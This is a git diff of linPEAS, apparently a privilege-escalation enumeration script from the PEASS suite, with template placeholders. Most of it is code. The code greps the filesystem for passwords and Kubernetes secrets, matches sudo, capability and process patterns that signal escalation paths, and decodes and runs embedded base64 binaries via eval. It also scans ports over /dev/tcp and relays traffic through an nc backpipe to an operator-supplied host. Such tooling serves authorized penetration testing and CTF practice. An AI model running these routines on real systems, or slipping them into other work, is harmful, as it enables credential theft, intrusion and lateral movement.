timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
else
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
fi
wait
echo ""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
else
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
fi
printf "%s\n" "$ppicf" | while read f; do
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
echo "$ITALIC $f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo ""
fi

View File

@@ -0,0 +1,6 @@
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
peass{REGEXES}
else
echo "Regexes to search for API keys aren't activated, use param '-r' "
fi

View File

@@ -56,37 +56,53 @@ DISCOVERY=""
PORTS="" PORTS=""
QUIET="" QUIET=""
CHECKS="peass{CHECKS}" CHECKS="peass{CHECKS}"
SEARCH_IN_FOLDER=""
ROOT_FOLDER="/"
WAIT="" WAIT=""
PASSWORD="" PASSWORD=""
NOCOLOR="" NOCOLOR=""
DEBUG="" DEBUG=""
AUTO_NETWORK_SCAN="" AUTO_NETWORK_SCAN=""
EXTRA_CHECKS="" EXTRA_CHECKS=""
REGEXES=""
PORT_FORWARD=""
THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")"
[ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 [ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2
[ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2 [ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2
[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 [ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2
HELP=$GREEN"Enumerate and search Privilege Escalation vectors. HELP=$GREEN"Enumerate and search Privilege Escalation vectors.
${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.
${YELLOW}-h${BLUE} To show this message ${GREEN} Checks:
${YELLOW}-q${BLUE} Do not show banner ${YELLOW} -o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list.
${YELLOW}-e${BLUE} Perform extra enumeration ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks)
${YELLOW}-s${BLUE} SuperFast (don't check some time consuming checks) - Stealth mode ${YELLOW} -e${BLUE} Perform extra enumeration
${YELLOW}-a${BLUE} All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
${YELLOW}-w${BLUE} Wait execution between big blocks of checks ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours)
${YELLOW}-N${BLUE} Do not use colours ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
${YELLOW}-D${BLUE} Debug mode ${YELLOW} -D${BLUE} Debug mode
${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
${YELLOW}-o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list.
${YELLOW}-L${BLUE} Force linpeas execution.
${YELLOW}-M${BLUE} Force macpeas execution.
${YELLOW}-d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
${YELLOW}-p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
${YELLOW}-i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
${YELLOW}-t${BLUE} Automatic network scan (host discovery and port scanning) - This option writes to files
$GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed$NC"
while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do ${GREEN} Network recon:
${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
${YELLOW} -d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
${YELLOW} -p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
${YELLOW} -i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
$GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
${GREEN} Port forwarding:
${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a local IP to a remote IP
${GREEN} Firmware recon:
${YELLOW} -f </FOLDER/PATH>${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder
${GREEN} Misc:
${YELLOW} -h${BLUE} To show this message
${YELLOW} -w${BLUE} Wait execution between big blocks of checks
${YELLOW} -L${BLUE} Force linpeas execution
${YELLOW} -M${BLUE} Force macpeas execution
${YELLOW} -q${BLUE} Do not show banner
${YELLOW} -N${BLUE} Do not use colours$NC"
while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do
case "$opt" in case "$opt" in
h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;;
a) FAST="";EXTRA_CHECKS="1";; a) FAST="";EXTRA_CHECKS="1";;
@@ -104,6 +120,16 @@ while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do
D) DEBUG="1";; D) DEBUG="1";;
t) AUTO_NETWORK_SCAN="1";; t) AUTO_NETWORK_SCAN="1";;
e) EXTRA_CHECKS="1";; e) EXTRA_CHECKS="1";;
r) REGEXES="1";;
f) SEARCH_IN_FOLDER=$OPTARG;
if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/"
SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/";
fi;
ROOT_FOLDER=$SEARCH_IN_FOLDER;
REGEXES="1";
CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_files,api_keys_regex";;
F) PORT_FORWARD=$OPTARG;;
esac esac
done done
@@ -215,15 +241,15 @@ print_banner(){
print_support () { print_support () {
printf """ printf """
${GREEN}/---------------------------------------------------------------------------\\ ${GREEN}/---------------------------------------------------------------------------------\\
| ${BLUE}Do you like PEASS?${GREEN} | | ${BLUE}Do you like PEASS?${GREEN} |
|---------------------------------------------------------------------------| |---------------------------------------------------------------------------------|
| ${YELLOW}Become a Patreon${GREEN} : ${RED}https://www.patreon.com/peass${GREEN} | | ${YELLOW}Get the latest version${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} |
| ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} | | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} |
| ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli & makikvues${GREEN} | | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} |
|---------------------------------------------------------------------------| |---------------------------------------------------------------------------------|
| ${BLUE}Thank you! ${GREEN} | | ${BLUE}Thank you! ${GREEN} |
\---------------------------------------------------------------------------/ \---------------------------------------------------------------------------------/
""" """
} }
@@ -237,7 +263,7 @@ printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC;
echo "" echo ""
printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC"
echo "" echo ""
printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC
echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m,"
echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW},"
echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," echo " RED: You should take a look to it" | sed "s,RED,${SED_RED},"
@@ -369,9 +395,9 @@ sidVB='peass{SUIDVB1_HERE}'
sidVB2='peass{SUIDVB2_HERE}' sidVB2='peass{SUIDVB2_HERE}'
cfuncs='file|free|main|more|read|split|write' cfuncs='file|free|main|more|read|split|write'
sudoVB1=" \*|env_keep\+=LD_PRELOAD|peass{SUDOVB1_HERE}" sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|peass{SUDOVB1_HERE}"
sudoVB2="peass{SUDOVB2_HERE}" sudoVB2="peass{SUDOVB2_HERE}"
sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount"
sudoG="NOEXEC" sudoG="NOEXEC"
capsVB="cap_sys_admin:mount|python \ capsVB="cap_sys_admin:mount|python \
@@ -386,7 +412,7 @@ cap_net_raw:python|tcpdump"
capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module" capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module"
containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override" containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin"
OLDPATH=$PATH OLDPATH=$PATH
ADDPATH=":/usr/local/sbin\ ADDPATH=":/usr/local/sbin\
@@ -473,8 +499,11 @@ while $SEDOVERFLOW; do
#else #else
# WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort`
#fi #fi
Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[^\*][^\ ]*\ \*" Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*"
Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm
if ! [ "$Wfolder" ]; then
Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)"
fi
printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1
if [ $? -eq 0 ]; then if [ $? -eq 0 ]; then
SEDOVERFLOW=false SEDOVERFLOW=false
@@ -493,15 +522,15 @@ TIMEOUT="$(command -v timeout 2>/dev/null)"
STRACE="$(command -v strace 2>/dev/null)" STRACE="$(command -v strace 2>/dev/null)"
STRINGS="$(command -v strings 2>/dev/null)" STRINGS="$(command -v strings 2>/dev/null)"
shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh"
notBackup="/tdbbackup$|/db_hotbackup$" notBackup="/tdbbackup$|/db_hotbackup$"
cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-notifier-common|upstart|" cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|"
cronjobsB="centreon" cronjobsB="centreon"
processesVB="jdwp|tmux |screen |--inspect|--remote-debugging-port" processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port'
processesB="knockd\|splunk" processesB="knockd|splunk"
processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:"
mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier"
@@ -527,6 +556,10 @@ GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console"
INT_HIDDEN_FILES="peass{INT_HIDDEN_FILES}" INT_HIDDEN_FILES="peass{INT_HIDDEN_FILES}"
FAT_LINPEAS_AMICONTAINED="peass{AMICONTAINED}"
FAT_LINPEAS_GITLEAKS_LINUX="peass{GITLEAKS_LINUX}"
FAT_LINPEAS_GITLEAKS_MACOS="peass{GITLEAKS_MACOS}"
########################################### ###########################################
#---------) Checks before start (---------# #---------) Checks before start (---------#
########################################### ###########################################
@@ -548,7 +581,17 @@ else
fi fi
fi fi
SCAN_BAN_BAD="No port scan capabilities (nc not found)" SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)"
if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then
FOUND_BASH=$(command -v bash);
elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then
FOUND_BASH="/bin/bash";
fi
if [ "$FOUND_BASH" ]; then
SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n"
fi
FOUND_NC=$(command -v nc 2>/dev/null) FOUND_NC=$(command -v nc 2>/dev/null)
if [ -z "$FOUND_NC" ]; then if [ -z "$FOUND_NC" ]; then
FOUND_NC=$(command -v netcat 2>/dev/null); FOUND_NC=$(command -v netcat 2>/dev/null);
@@ -563,7 +606,7 @@ if [ -z "$FOUND_NC" ]; then
FOUND_NC=$(command -v nc.openbsd 2>/dev/null); FOUND_NC=$(command -v nc.openbsd 2>/dev/null);
fi fi
if [ "$FOUND_NC" ]; then if [ "$FOUND_NC" ]; then
SCAN_BAN_GOOD="$GREEN$FOUND_NC${BLUE} is available for network discover & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)" SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n"
fi fi
@@ -603,7 +646,7 @@ print_title(){
title=$1 title=$1
title_len=$(echo $title | wc -c) title_len=$(echo $title | wc -c)
max_title_len=100 max_title_len=80
rest_len=$((($max_title_len - $title_len) / 2)) rest_len=$((($max_title_len - $title_len) / 2))
printf ${BLUE} printf ${BLUE}
@@ -649,6 +692,10 @@ print_3title(){
printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═"
} }
print_3title_no_nl(){
printf ${BLUE}"\r══╣ $GREEN${1}..."$NC #There are 2 "═"
}
print_list(){ print_list(){
printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═"
} }
@@ -712,6 +759,23 @@ macosNotSigned(){
done done
} }
execBin(){
TOOL_NAME=$1
TOOL_LINK=$2
B64_BIN=$3
PARAMS=$4
if [ "$B64_BIN" ]; then
echo ""
print_3title "Running $TOOL_NAME"
print_info "$TOOL_LINK"
echo "$B64_BIN" | base64 -d > $Wfolder/bin
chmod +x $Wfolder/bin
eval "$Wfolder/bin $PARAMS"
rm -f $Wfolder/bin
echo ""
fi
}
########################################### ###########################################
#---------) Internet functions (----------# #---------) Internet functions (----------#
########################################### ###########################################
@@ -774,7 +838,11 @@ tcp_recon (){
for port in $PORTS; do for port in $PORTS; do
for j in $(seq 1 254) for j in $(seq 1 254)
do do
if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then
$TIMEOUT 2.5 $FOUND_BASH -c "(echo </dev/tcp/$IP3.$j/$port) 2>/dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" &
elif [ "$NC_SCAN" ]; then
($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
fi
done done
wait wait
done done
@@ -799,7 +867,11 @@ tcp_port_scan (){
fi fi
for port in $PORTS; do for port in $PORTS; do
if [ "$FOUND_BASH" ]; then
$FOUND_BASH -c "(echo </dev/tcp/$IP/$port) 2>/dev/null && echo -e \"\n[+] Open port at: $IP:$port\"" &
elif [ "$NC_SCAN" ]; then
($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
fi
done done
wait wait
} }
@@ -886,6 +958,24 @@ discovery_port_scan (){
} }
port_forward (){
LOCAL_IP=$1
LOCAL_PORT=$2
REMOTE_IP=$3
REMOTE_PORT=$4
echo "In your local machine execute:"
echo "cd /tmp; rm backpipe; mknod backpipe p;"
echo "nc -lvnp $LOCAL_PORT 0<backpipe | nc -lvnp 9009 1>backpipe"
echo ""
echo "Press any key when you have executed the commands"
read -n 1
bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &"
echo "If not error was indicated, your local port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT"
}
########################################### ###########################################
#---) Exporting history env variables (---# #---) Exporting history env variables (---#
########################################### ###########################################
@@ -910,6 +1000,11 @@ printf $LG"Hostname: "$NC
hostname 2>/dev/null hostname 2>/dev/null
printf $LG"Writable folder: "$NC; printf $LG"Writable folder: "$NC;
echo $Wfolder echo $Wfolder
if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then
printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC;
fi
if [ "$DISCOVER_BAN_GOOD" ]; then if [ "$DISCOVER_BAN_GOOD" ]; then
printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC"
else else
@@ -917,12 +1012,12 @@ else
fi fi
if [ "$SCAN_BAN_GOOD" ]; then if [ "$SCAN_BAN_GOOD" ]; then
printf $YELLOW"[+] $SCAN_BAN_GOOD\n$NC" printf "$SCAN_BAN_GOOD\n$NC"
else else
printf $RED"[-] $SCAN_BAN_BAD\n$NC" printf $RED"[-] $SCAN_BAN_BAD\n$NC"
fi fi
if [ "$(command -v nmap 2>/dev/null)" ];then if [ "$(command -v nmap 2>/dev/null)" ];then
NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discover & port scanning, you should use it yourself" NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself"
printf $YELLOW"[+] $NMAP_GOOD\n$NC" printf $YELLOW"[+] $NMAP_GOOD\n$NC"
fi fi
echo "" echo ""
@@ -966,21 +1061,67 @@ elif [ "$IP" ]; then
exit 0 exit 0
fi fi
if [ "$PORT_FORWARD" ]; then
if ! [ "$FOUND_BASH" ]; then
printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC;
exit 0
fi
if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)"
########################################### LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)"
#----------) Caching Finds (--------------# REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)"
########################################### REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)"
printf $GREEN"Caching directories "$NC if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then
printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
exit 0
fi
#Check if LOCAL_PORT is a number
if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then
printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
fi
#Check if REMOTE_PORT is a number
if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then
printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
fi
port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT"
exit 0
fi
#Get home #Get HOMESEARCH
HOMESEARCH="/home/ /Users/ /root/ $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users" | tr "\n" " ")" if [ "$SEARCH_IN_FOLDER" ]; then
if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users"; then #If not listed and not in /home, /Users/ or /root, add current home folder HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/"
else
HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")"
if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder
HOMESEARCH="$HOME $HOMESEARCH" HOMESEARCH="$HOME $HOMESEARCH"
fi fi
GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" fi
GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|"
###########################################
#----------) Caching Finds (--------------#
###########################################
if [ "$SEARCH_IN_FOLDER" ]; then
printf $GREEN"Caching directories "$NC
CONT_THREADS=0
# FIND ALL KNOWN INTERESTING SOFTWARE FILES
peass{FINDS_CUSTOM}
